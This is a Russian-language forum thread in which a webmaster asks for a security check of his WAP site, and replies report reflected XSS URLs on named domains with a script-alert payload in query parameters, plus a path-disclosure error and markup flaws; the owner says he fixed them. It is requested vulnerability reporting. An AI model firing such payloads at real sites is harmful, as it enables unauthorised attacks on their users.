Wap2.Org.UA

Проверьте плз мой проэкт: Wap2.Org.UA

ЗЫ. Писался полностью с нуля.

 

по ссылке попал сюда,тоже твой сайт

Code:

http://bannerik.com/ru/help.php?str=xhtml&ref=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

пассивные xss,активных ненашёл,и вообще ничего серьёзного

Code:

http://wap2.org.ua/add.php?str=wml&id=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

Code:

http://wap2.org.ua/news.php?do=show&id=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

Code:

http://wap2.org.ua/show.php?do=del&id=3%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

Code:

http://wap2.org.ua/show.php?do=2me&id=%22%3E%3Cscript%3Ealert()%3C/script%3E

 

угу. наверна 404 ошибка была... оно туда перекидывает...

это радует. всё пофиксил.

 

Не уязвимость, но недочет: при просмотре в виде wml не все теги закрыты согласно стандартам wml/xhtml, в частности рисунки. Опера матерится

 

спс. буду править...

 

Раскрытие пути

Warning: main(shapka.php) [function.main]: failed to open stream: No such file or directory in /home/aziya/public_html/zak/panel.php on line 2

проявляется после некоторого простоя после логина в систему.

 

угу.

какой ч[м]удак проверял сайт сканером? делать нехер было? еле отчистил...